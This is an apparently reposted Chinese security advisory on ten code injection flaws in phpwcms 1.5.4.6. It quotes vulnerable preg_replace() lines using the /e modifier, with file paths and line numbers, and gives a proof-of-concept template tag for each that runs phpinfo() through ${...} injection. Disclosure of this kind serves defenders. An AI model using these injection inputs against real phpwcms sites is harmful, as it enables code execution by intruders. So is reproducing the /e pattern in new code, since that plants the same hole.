漏洞播报：phpwcms ‘preg_replace()’多个远程

 

phpwcms  1.5.4.6及其他版本在实现上存在多个代码注入漏洞，通过身份验证的远程攻击者可以用”backend user”\”admin user”\”backend user”账户利用这些漏洞（”frontend user”账户不能利用这些漏洞）在受影响计算机内执行任意PHP脚本代码。

 

测试方法:

 

1. Lines 699-700 of ./include/inc_front/content.func.inc.php:

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// list based navigation starting at given level

$replace = ‘nav_list_struct($content[“struct”],$content[“cat_id”],”$1″, “$2”);’;

$content[“all”] = preg_replace(‘/\{NAV_LIST:(\d+):{0,1}(.*){0,1}\}/e’, $replace, $content[“all”]);

 

PoC:

{NAV_LIST:1:{${phpinfo()}}}

 

2. Line 704 of ,.include/inc_front/content.func.inc.php:

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$content[“all”] = preg_replace(‘/\{NAV_LIST_TOP:(.*?):(.*?)\}/e’, ‘css_level_list($content[“struct”], $content[“cat_path”], 0, “$1”, 1, “$2”)’, $content[“all”]);

 

PoC:

{NAV_LIST_TOP:{${phpinfo}}:1}

 

3. line 708 of ./include/inc_front/content.func.inc.php:

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$content[“all”] = preg_replace(‘/\{NAV_LIST_CURRENT:(\d+):(.*?):(.*?)\}/e’, ‘css_level_list($content[“struct”],$content[“cat_path”],$content[“cat_id”],”$2″,”$1″,”$3″)’, $content[“all”]);

 

PoC:

{NAV_LIST_CURRENT:1:{${phpinfo()}}:1}

 

4. Line 792 of ./include/inc_front/content.func.inc.php:

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$content[“all”] = preg_replace(‘/\{BROWSE:NEXT:(.*?):(0|1)\}/e’,’get_index_link_next(“$1”,$2);’,$content[“all”]);

 

PoC:

{BROWSE:NEXT:{${phpinfo()}}:1}

 

5. Line 793 of ./include/inc_front/content.func.inc.php:

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$content[“all”] = preg_replace(‘/\{BROWSE:PREV:(.*?):(0|1)\}/e’,’get_index_link_prev(“$1”,$2);’,$content[“all”]);

 

PoC:

{BROWSE:PREV:{${phpinfo()}}:1}

 

6. Line 2661 of ./include/inc_front/front.func.inc.php:

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$text = preg_replace(‘/\{LIVEDATE:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$livedate.'”)’, $text);

 www.2cto.com

PoC:

{LIVEDATE:{${phpinfo()}} lang=ru}

 

7. Line 2658 of ./include/inc_front/front.func.inc.php:

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$text = preg_replace(‘/\{DATE:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$date.'”)’, $text);

 

PoC:

{DATE:{${phpinfo()}} lang=ru}

 

8. Line 2665 of ./include/inc_front/front.func.inc.php:

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$text = preg_replace(‘/\{KILLDATE:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$killdate.'”)’, $text);

 

PoC:

{KILLDATE:{${phpinfo()}} lang=ru}

 

9. Line 2668 of ./include/inc_front/front.func.inc.php:

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return preg_replace(‘/\{NOW:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.now().'”)’, $text);

 

PoC:

{NOW:{${phpinfo()}} lang=ru}

 

10. Line 2674 of ./include/inc_front/front.func.inc.php:

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$text = preg_replace(‘/\{‘.$rt.’:(.*?) lang=(..)\}/e’, ‘international_date_format(“$2″,”$1″,”‘.$date.'”)’, $text);

 

PoC:

{DATE:{${phpinfo()}} lang=ru}

 

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

 

http://www.phpwcms.de/